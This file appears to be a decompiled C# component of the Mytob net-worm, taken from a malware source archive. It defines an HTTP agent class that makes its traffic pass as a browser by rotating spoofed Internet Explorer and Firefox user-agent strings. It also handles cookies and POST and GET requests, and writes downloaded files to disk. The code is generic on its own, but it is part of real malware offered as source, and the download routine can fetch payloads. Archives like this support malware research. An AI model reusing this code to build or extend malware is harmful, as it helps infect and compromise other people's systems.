MalwareSourceCode/MSIL/Net-Worm/Win32/M/Net-Worm.Win32.Mytob.lnt-bef6a2117211c906156a30c3f707a4cf4d485846cbcd1b241053651b23028a95/HTTPAgent/Agent.cs
2022-08-18 06:28:56 -05:00

218 lines
8.4 KiB
C#

// Decompiled with JetBrains decompiler
// Type: HTTPAgent.Agent
// Assembly: WolfFt, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 510BEE3B-1B9B-4B2D-9942-86D11904E770
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Net-Worm.Win32.Mytob.lnt-bef6a2117211c906156a30c3f707a4cf4d485846cbcd1b241053651b23028a95.exe
using System;
using System.Collections.Specialized;
using System.IO;
using System.Net;
using System.Text;
using System.Web;
namespace HTTPAgent
{
public class Agent
{
public CookieContainer cookieJar = new CookieContainer();
private static string[] accepts = new string[4]
{
",text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5",
",text/html,text/plain,image/png,*/*",
",text/html;q=0.8,text/plain;q=0.6,image/png,image/jpg,image/gif,*/*;q=0.4",
",text/html,text/plain,image/*,*/*"
};
private static string[] userAgentsIE = new string[6]
{
"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; FDM; OfficeLiveConnector.1.4; OfficeLivePatch.1.3; .NET CLR 1.1.4322)",
"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Zune 3.0)",
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; Media Center PC 5.0)",
"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET CLR 4.0.20402; MS-RTC LM 8)",
"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; OfficeLiveConnector.1.3; OfficeLivePatch.0.0; MS-RTC LM 8; Zune 4.0)",
"Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SLCC1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322)"
};
private static string[] userAgentsFF = new string[6]
{
"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 ( .NET CLR 3.0.4506.2152; .NET4.0C)",
"Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.8) Gecko/20100722 BTRS86393 Firefox/3.6.8 ( .NET CLR 3.5.30729; .NET4.0C)",
"Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.6) Gecko/20100625 Firefox/3.6.6 (.NET CLR 3.5.30729)",
"Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 ( .NET CLR 3.5.30729; .NET4.0C)",
"Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.4) Gecko/20100523 Firefox/3.6.4 ( .NET CLR 3.5.30729)",
"Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.6) Gecko/20100625 Firefox/3.6.6 (.NET CLR 3.5.30729)"
};
private string _lastResponseText;
private HttpWebResponse _lastResponse;
private string _accept;
private string _userAgent;
private string _referer;
private bool _handleReferer;
private string _acceptLanguage;
private string _acceptEncoding;
private string _acceptCharset;
public void EmulateBrowser()
{
Random random = new Random();
this.Accept = "text/xml,application/xml,application/xhtml+xml" + Agent.accepts[random.Next(Agent.accepts.Length)];
this.AcceptLanguage = "en";
this.UserAgent = random.Next(100) >= 60 ? Agent.userAgentsIE[random.Next(Agent.userAgentsIE.Length)] : Agent.userAgentsFF[random.Next(Agent.userAgentsFF.Length)];
this.HandleReferer = true;
}
public string postURL(string URL, NameValueCollection formValues)
{
HttpWebRequest request = (HttpWebRequest) WebRequest.Create(URL);
this.SetupRequest(request, "POST");
request.ContentType = "application/x-www-form-urlencoded";
StreamWriter streamWriter = new StreamWriter(request.GetRequestStream());
if (formValues != null)
{
foreach (string allKey in formValues.AllKeys)
{
streamWriter.Write("&" + allKey + "=");
streamWriter.Write(HttpUtility.UrlEncode(formValues[allKey]));
}
}
streamWriter.Close();
this.HandleResponse(request);
if (this.HandleReferer)
this.Referer = this._lastResponse.ResponseUri.ToString();
return this._lastResponseText;
}
public string GetURL(string URL)
{
HttpWebRequest request = (HttpWebRequest) WebRequest.Create(URL);
this.SetupRequest(request, "GET");
this.HandleResponse(request);
if (this.HandleReferer)
this.Referer = this._lastResponse.ResponseUri.ToString();
return this._lastResponseText;
}
public string GetURL(string URL, NameValueCollection formValues)
{
string str1 = "";
if (formValues != null)
{
foreach (string allKey in formValues.AllKeys)
str1 = str1 + "&" + allKey + "=" + HttpUtility.UrlEncode(formValues[allKey]);
}
string str2 = str1.Substring(1);
HttpWebRequest request = (HttpWebRequest) WebRequest.Create(URL + "?" + str2);
this.SetupRequest(request, "GET");
this.HandleResponse(request);
if (this.HandleReferer)
this.Referer = this._lastResponse.ResponseUri.ToString();
return this._lastResponseText;
}
public void getURL2File(string url, string dateiname)
{
HttpWebRequest request = (HttpWebRequest) WebRequest.Create(url);
this.SetupRequest(request, "GET");
this._lastResponse = (HttpWebResponse) request.GetResponse();
Stream responseStream = this._lastResponse.GetResponseStream();
if (dateiname.IndexOf("\\") != -1)
{
string path = dateiname.Substring(0, dateiname.LastIndexOf("\\"));
if (!Directory.Exists(path))
Directory.CreateDirectory(path);
}
FileStream fileStream = new FileStream(dateiname, FileMode.Create);
byte[] buffer = new byte[1024];
while (true)
{
int count = responseStream.Read(buffer, 0, buffer.Length);
if (count != 0)
fileStream.Write(buffer, 0, count);
else
break;
}
responseStream.Close();
this._lastResponse.Close();
fileStream.Close();
}
private void HandleResponse(HttpWebRequest request)
{
this._lastResponse = (HttpWebResponse) request.GetResponse();
StreamReader streamReader = new StreamReader(this._lastResponse.GetResponseStream(), Encoding.UTF8);
this._lastResponseText = streamReader.ReadToEnd();
streamReader.Close();
this._lastResponse.Close();
}
private void SetupRequest(HttpWebRequest request, string method)
{
request.Method = method;
request.CookieContainer = this.cookieJar;
request.Accept = this._accept;
request.UserAgent = this._userAgent;
request.Referer = this._referer;
if (this._acceptCharset != null)
request.Headers.Add("Accept-Charset", this._acceptCharset);
if (this._acceptEncoding != null)
request.Headers.Add("Accept-Encoding", this._acceptEncoding);
if (this._acceptLanguage == null)
return;
request.Headers.Add("Accept-Language", this._acceptLanguage);
}
public string LastResponseText => this._lastResponseText;
public HttpWebResponse LastResponse => this._lastResponse;
public string Accept
{
get => this._accept;
set => this._accept = value;
}
public string UserAgent
{
get => this._userAgent;
set => this._userAgent = value;
}
public string Referer
{
get => this._referer;
set => this._referer = value;
}
public bool HandleReferer
{
get => this._handleReferer;
set => this._handleReferer = value;
}
public string AcceptLanguage
{
get => this._acceptLanguage;
set => this._acceptLanguage = value;
}
public string AcceptEncoding
{
get => this._acceptEncoding;
set => this._acceptEncoding = value;
}
public string AcceptCharset
{
get => this._acceptCharset;
set => this._acceptCharset = value;
}
public static string UrlEncode(string str) => HttpUtility.UrlEncode(str);
public static string UrlDecode(string str) => HttpUtility.UrlDecode(str);
public static string HtmlEncode(string str) => HttpUtility.HtmlEncode(str);
public static string HtmlDecode(string str) => HttpUtility.HtmlDecode(str);
}
}